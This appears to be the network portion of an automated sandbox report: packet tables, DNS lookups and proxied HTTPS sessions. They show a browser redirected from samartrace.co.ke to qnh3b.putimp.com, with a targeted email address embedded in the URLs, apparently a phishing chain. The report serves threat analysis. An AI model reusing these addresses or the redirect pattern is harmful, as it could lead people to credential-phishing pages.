Apr 16, 2024 21:40:45.317436934 CEST	49817	443	192.168.2.4	142.250.105.99
Apr 16, 2024 21:40:45.317497969 CEST	443	49817	142.250.105.99	192.168.2.4
Apr 16, 2024 21:40:45.368254900 CEST	49817	443	192.168.2.4	142.250.105.99
Apr 16, 2024 21:40:47.810729980 CEST	49818	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:47.810787916 CEST	443	49818	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:47.810848951 CEST	49818	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:47.812237024 CEST	49818	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:47.812253952 CEST	443	49818	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:48.029540062 CEST	443	49818	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:48.030015945 CEST	49818	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:48.030049086 CEST	443	49818	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:48.030409098 CEST	443	49818	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:48.030832052 CEST	49818	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:48.030890942 CEST	443	49818	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:48.031362057 CEST	49818	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:48.072115898 CEST	443	49818	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:49.075609922 CEST	443	49818	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:49.075719118 CEST	443	49818	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:49.075826883 CEST	49818	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:49.079544067 CEST	49818	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:49.079567909 CEST	443	49818	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:49.320560932 CEST	49819	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:49.320611000 CEST	443	49819	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:49.320671082 CEST	49819	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:49.321511030 CEST	49819	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:49.321526051 CEST	443	49819	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:49.534832001 CEST	443	49819	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:49.535126925 CEST	49819	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:49.535161018 CEST	443	49819	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:49.536163092 CEST	443	49819	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:49.536221981 CEST	49819	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:49.536622047 CEST	49819	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:49.536672115 CEST	443	49819	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:49.536751986 CEST	49819	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:49.536761999 CEST	443	49819	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:49.587121010 CEST	49819	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:49.770293951 CEST	443	49819	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:49.770378113 CEST	443	49819	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:49.770483017 CEST	49819	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:49.771007061 CEST	49819	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:49.771048069 CEST	443	49819	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:49.772013903 CEST	49820	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:49.772037983 CEST	443	49820	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:49.772090912 CEST	49820	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:49.772504091 CEST	49820	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:49.772511005 CEST	443	49820	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:49.990227938 CEST	443	49820	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:50.001354933 CEST	49820	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:50.001367092 CEST	443	49820	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:50.002312899 CEST	443	49820	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:50.003144026 CEST	49820	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:50.003293991 CEST	443	49820	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:50.003796101 CEST	49820	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:50.048115969 CEST	443	49820	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:50.230499029 CEST	443	49820	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:50.230696917 CEST	443	49820	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:50.231215000 CEST	49820	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:50.231770992 CEST	49820	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:40:50.231794119 CEST	443	49820	35.190.80.1	192.168.2.4
Apr 16, 2024 21:40:54.009212971 CEST	49723	80	192.168.2.4	23.40.205.73
Apr 16, 2024 21:40:54.009358883 CEST	49724	80	192.168.2.4	199.232.214.172
Apr 16, 2024 21:40:54.112962008 CEST	80	49724	199.232.214.172	192.168.2.4
Apr 16, 2024 21:40:54.113010883 CEST	80	49724	199.232.214.172	192.168.2.4
Apr 16, 2024 21:40:54.113193989 CEST	49724	80	192.168.2.4	199.232.214.172
Apr 16, 2024 21:40:54.113322020 CEST	80	49723	23.40.205.73	192.168.2.4
Apr 16, 2024 21:40:54.113487959 CEST	49723	80	192.168.2.4	23.40.205.73
Apr 16, 2024 21:40:55.322626114 CEST	443	49817	142.250.105.99	192.168.2.4
Apr 16, 2024 21:40:55.322787046 CEST	443	49817	142.250.105.99	192.168.2.4
Apr 16, 2024 21:40:55.324407101 CEST	49817	443	192.168.2.4	142.250.105.99
Apr 16, 2024 21:40:56.911664963 CEST	49817	443	192.168.2.4	142.250.105.99
Apr 16, 2024 21:40:56.911736965 CEST	443	49817	142.250.105.99	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 16, 2024 21:39:40.790652037 CEST	53	55854	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:40.797077894 CEST	53	52856	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:41.390597105 CEST	53	52921	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:42.620975018 CEST	59631	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:42.621192932 CEST	59736	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:43.075797081 CEST	53	59631	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:43.108108997 CEST	53	59736	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:43.780925989 CEST	54591	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:43.781481028 CEST	59235	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:43.906042099 CEST	53	54591	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:43.911312103 CEST	53	59235	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:45.043878078 CEST	63066	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:45.044019938 CEST	60214	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:45.148566008 CEST	53	60214	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:45.149183989 CEST	53	63066	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:45.737705946 CEST	51216	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:45.738013029 CEST	54342	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:45.738935947 CEST	49589	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:45.739414930 CEST	52576	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:45.842468977 CEST	53	54342	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:45.844372988 CEST	53	51216	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:45.844384909 CEST	53	49589	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:45.849140882 CEST	53	52576	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:47.197819948 CEST	59099	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:47.198194981 CEST	60971	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:47.303222895 CEST	53	60971	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:47.305885077 CEST	53	59099	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:48.389988899 CEST	59437	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:48.390331984 CEST	51677	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:48.495457888 CEST	53	51677	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:48.495615959 CEST	53	59437	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:49.201426983 CEST	63449	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:49.201581955 CEST	49729	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:39:49.305738926 CEST	53	49729	1.1.1.1	192.168.2.4
Apr 16, 2024 21:39:49.306355000 CEST	53	63449	1.1.1.1	192.168.2.4
Apr 16, 2024 21:40:00.210176945 CEST	53	49668	1.1.1.1	192.168.2.4
Apr 16, 2024 21:40:04.641453028 CEST	62463	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:40:04.641588926 CEST	51874	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:40:04.753104925 CEST	53	62463	1.1.1.1	192.168.2.4
Apr 16, 2024 21:40:04.788038969 CEST	53	51874	1.1.1.1	192.168.2.4
Apr 16, 2024 21:40:05.583808899 CEST	138	138	192.168.2.4	192.168.2.255
Apr 16, 2024 21:40:08.436381102 CEST	58969	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:40:08.436789036 CEST	53270	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:40:08.437526941 CEST	55822	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:40:08.437710047 CEST	54188	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:40:08.542185068 CEST	53	55822	1.1.1.1	192.168.2.4
Apr 16, 2024 21:40:08.542205095 CEST	53	53270	1.1.1.1	192.168.2.4
Apr 16, 2024 21:40:08.542220116 CEST	53	54188	1.1.1.1	192.168.2.4
Apr 16, 2024 21:40:08.544739008 CEST	53	58969	1.1.1.1	192.168.2.4
Apr 16, 2024 21:40:09.472798109 CEST	53	54090	1.1.1.1	192.168.2.4
Apr 16, 2024 21:40:10.687593937 CEST	53	53639	1.1.1.1	192.168.2.4
Apr 16, 2024 21:40:19.297316074 CEST	53	57332	1.1.1.1	192.168.2.4
Apr 16, 2024 21:40:40.402721882 CEST	53	54585	1.1.1.1	192.168.2.4
Apr 16, 2024 21:40:41.936212063 CEST	53	53035	1.1.1.1	192.168.2.4
Apr 16, 2024 21:40:49.213656902 CEST	59243	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:40:49.214163065 CEST	64637	53	192.168.2.4	1.1.1.1
Apr 16, 2024 21:40:49.318733931 CEST	53	64637	1.1.1.1	192.168.2.4
Apr 16, 2024 21:40:49.318841934 CEST	53	59243	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 16, 2024 21:39:42.620975018 CEST	192.168.2.4	1.1.1.1	0x1f9d	Standard query (0)	samartrace.co.ke	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:42.621192932 CEST	192.168.2.4	1.1.1.1	0x9d27	Standard query (0)	samartrace.co.ke	65	IN (0x0001)	false
Apr 16, 2024 21:39:43.780925989 CEST	192.168.2.4	1.1.1.1	0x9b1a	Standard query (0)	qnh3b.putimp.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:43.781481028 CEST	192.168.2.4	1.1.1.1	0xc440	Standard query (0)	qnh3b.putimp.com	65	IN (0x0001)	false
Apr 16, 2024 21:39:45.043878078 CEST	192.168.2.4	1.1.1.1	0x5951	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.044019938 CEST	192.168.2.4	1.1.1.1	0x6db3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 16, 2024 21:39:45.737705946 CEST	192.168.2.4	1.1.1.1	0x5754	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.738013029 CEST	192.168.2.4	1.1.1.1	0x1cf2	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 16, 2024 21:39:45.738935947 CEST	192.168.2.4	1.1.1.1	0x8bb9	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.739414930 CEST	192.168.2.4	1.1.1.1	0xffc1	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 16, 2024 21:39:47.197819948 CEST	192.168.2.4	1.1.1.1	0xe98f	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:47.198194981 CEST	192.168.2.4	1.1.1.1	0x3f95	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 16, 2024 21:39:48.389988899 CEST	192.168.2.4	1.1.1.1	0x16c6	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:48.390331984 CEST	192.168.2.4	1.1.1.1	0x9aa7	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 16, 2024 21:39:49.201426983 CEST	192.168.2.4	1.1.1.1	0xc002	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:49.201581955 CEST	192.168.2.4	1.1.1.1	0x7dc3	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 16, 2024 21:40:04.641453028 CEST	192.168.2.4	1.1.1.1	0x45a	Standard query (0)	qnh3b.putimp.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:04.641588926 CEST	192.168.2.4	1.1.1.1	0x4893	Standard query (0)	qnh3b.putimp.com	65	IN (0x0001)	false
Apr 16, 2024 21:40:08.436381102 CEST	192.168.2.4	1.1.1.1	0x1237	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:08.436789036 CEST	192.168.2.4	1.1.1.1	0x881	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Apr 16, 2024 21:40:08.437526941 CEST	192.168.2.4	1.1.1.1	0xae0d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:08.437710047 CEST	192.168.2.4	1.1.1.1	0xbe6d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 16, 2024 21:40:49.213656902 CEST	192.168.2.4	1.1.1.1	0x4330	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:49.214163065 CEST	192.168.2.4	1.1.1.1	0x4565	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 16, 2024 21:39:43.075797081 CEST	1.1.1.1	192.168.2.4	0x1f9d	No error (0)	samartrace.co.ke		192.185.88.194	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:43.906042099 CEST	1.1.1.1	192.168.2.4	0x9b1a	No error (0)	qnh3b.putimp.com		172.67.191.147	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:43.906042099 CEST	1.1.1.1	192.168.2.4	0x9b1a	No error (0)	qnh3b.putimp.com		104.21.84.116	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:43.911312103 CEST	1.1.1.1	192.168.2.4	0xc440	No error (0)	qnh3b.putimp.com			65	IN (0x0001)	false
Apr 16, 2024 21:39:45.148566008 CEST	1.1.1.1	192.168.2.4	0x6db3	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 16, 2024 21:39:45.149183989 CEST	1.1.1.1	192.168.2.4	0x5951	No error (0)	www.google.com		142.250.105.99	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.149183989 CEST	1.1.1.1	192.168.2.4	0x5951	No error (0)	www.google.com		142.250.105.105	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.149183989 CEST	1.1.1.1	192.168.2.4	0x5951	No error (0)	www.google.com		142.250.105.147	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.149183989 CEST	1.1.1.1	192.168.2.4	0x5951	No error (0)	www.google.com		142.250.105.106	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.149183989 CEST	1.1.1.1	192.168.2.4	0x5951	No error (0)	www.google.com		142.250.105.103	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.149183989 CEST	1.1.1.1	192.168.2.4	0x5951	No error (0)	www.google.com		142.250.105.104	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.844372988 CEST	1.1.1.1	192.168.2.4	0x5754	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.844372988 CEST	1.1.1.1	192.168.2.4	0x5754	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.844372988 CEST	1.1.1.1	192.168.2.4	0x5754	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.844372988 CEST	1.1.1.1	192.168.2.4	0x5754	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.844384909 CEST	1.1.1.1	192.168.2.4	0x8bb9	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.844384909 CEST	1.1.1.1	192.168.2.4	0x8bb9	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:45.849140882 CEST	1.1.1.1	192.168.2.4	0xffc1	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 16, 2024 21:39:47.303222895 CEST	1.1.1.1	192.168.2.4	0x3f95	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 16, 2024 21:39:47.305885077 CEST	1.1.1.1	192.168.2.4	0xe98f	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:47.305885077 CEST	1.1.1.1	192.168.2.4	0xe98f	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:48.495457888 CEST	1.1.1.1	192.168.2.4	0x9aa7	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 16, 2024 21:39:48.495615959 CEST	1.1.1.1	192.168.2.4	0x16c6	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:48.495615959 CEST	1.1.1.1	192.168.2.4	0x16c6	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:49.306355000 CEST	1.1.1.1	192.168.2.4	0xc002	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:57.991713047 CEST	1.1.1.1	192.168.2.4	0xfe22	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:57.991713047 CEST	1.1.1.1	192.168.2.4	0xfe22	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:39:58.492219925 CEST	1.1.1.1	192.168.2.4	0x1064	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 16, 2024 21:39:58.492219925 CEST	1.1.1.1	192.168.2.4	0x1064	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:04.753104925 CEST	1.1.1.1	192.168.2.4	0x45a	No error (0)	qnh3b.putimp.com		104.21.84.116	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:04.753104925 CEST	1.1.1.1	192.168.2.4	0x45a	No error (0)	qnh3b.putimp.com		172.67.191.147	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:04.788038969 CEST	1.1.1.1	192.168.2.4	0x4893	No error (0)	qnh3b.putimp.com			65	IN (0x0001)	false
Apr 16, 2024 21:40:08.542185068 CEST	1.1.1.1	192.168.2.4	0xae0d	No error (0)	www.google.com		64.233.177.105	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:08.542185068 CEST	1.1.1.1	192.168.2.4	0xae0d	No error (0)	www.google.com		64.233.177.147	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:08.542185068 CEST	1.1.1.1	192.168.2.4	0xae0d	No error (0)	www.google.com		64.233.177.106	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:08.542185068 CEST	1.1.1.1	192.168.2.4	0xae0d	No error (0)	www.google.com		64.233.177.104	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:08.542185068 CEST	1.1.1.1	192.168.2.4	0xae0d	No error (0)	www.google.com		64.233.177.99	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:08.542185068 CEST	1.1.1.1	192.168.2.4	0xae0d	No error (0)	www.google.com		64.233.177.103	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:08.542205095 CEST	1.1.1.1	192.168.2.4	0x881	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 16, 2024 21:40:08.542220116 CEST	1.1.1.1	192.168.2.4	0xbe6d	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 16, 2024 21:40:08.544739008 CEST	1.1.1.1	192.168.2.4	0x1237	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 16, 2024 21:40:08.544739008 CEST	1.1.1.1	192.168.2.4	0x1237	No error (0)	d2vgu95hoyrpkh.cloudfront.net		108.156.152.4	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:08.544739008 CEST	1.1.1.1	192.168.2.4	0x1237	No error (0)	d2vgu95hoyrpkh.cloudfront.net		108.156.152.27	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:08.544739008 CEST	1.1.1.1	192.168.2.4	0x1237	No error (0)	d2vgu95hoyrpkh.cloudfront.net		108.156.152.88	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:08.544739008 CEST	1.1.1.1	192.168.2.4	0x1237	No error (0)	d2vgu95hoyrpkh.cloudfront.net		108.156.152.114	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:11.287867069 CEST	1.1.1.1	192.168.2.4	0x31a4	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 16, 2024 21:40:11.287867069 CEST	1.1.1.1	192.168.2.4	0x31a4	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:34.395536900 CEST	1.1.1.1	192.168.2.4	0xad48	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 16, 2024 21:40:34.395536900 CEST	1.1.1.1	192.168.2.4	0xad48	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 16, 2024 21:40:49.318841934 CEST	1.1.1.1	192.168.2.4	0x4330	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

samartrace.co.ke

qnh3b.putimp.com

fs.microsoft.com

https:

challenges.cloudflare.com

code.jquery.com

www.google.com

cdn.socket.io

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	192.185.88.194	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:43 UTC	719	OUT	GET /resu/repnu03/pDm2uA4djQME/transportforum@stanstedairport.com HTTP/1.1 Host: samartrace.co.ke Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:43 UTC	269	IN	HTTP/1.1 302 Moved Temporarily Date: Tue, 16 Apr 2024 19:39:43 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Location: https://QNh3B.putimp.com/yo0z/#Mtransportforum@stanstedairport.com Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:44 UTC	664	OUT	GET /yo0z/ HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:45 UTC	1122	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:39:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Vary: Accept-Encoding Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I8jBjgwhovtC7cB5JkFbOlyjzWXJ8louJ7akHx1WkkwU6ZN1z7eW7%2Fow1XwEjXomPGpFSooIzGbk1c2c6Pr9pZ7ja1ZhVMmIq3btdG9h4pMGncU2QO8t1CGy6VuxKw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IlhvZWRnRndkamd5MXdpamxNaU9QbEE9PSIsInZhbHVlIjoiQnJqRTZTVHRMZGdrbVRydlVFYkY1d1NONmNkM0FlQlhOajg5ZGt6azlzZ2hNUERmc3Q1QkdsbVpuTE50R0dsRjB5d3lydm1mOEFzMVBKSXJTVCtYNExQREw0R3JmN01xeDN3SzhKNEsvM0FsNGdWMUwxNlM1MHo5blVSNjkrZVEiLCJtYWMiOiJkNmMwYWZmNDhkNTc0ZWQyMmIyZWFlMDAxNTVjNjgxZDU3YjI2OWEyNTI3N2VkOTVjODQzNjNjZjIyM2MzMzUxIiwidGFnIjoiIn0%3D; expires=Tue, 16-Apr-2024 21:39:45 GMT; Max-Age=7200; path=/; secure; samesite=none
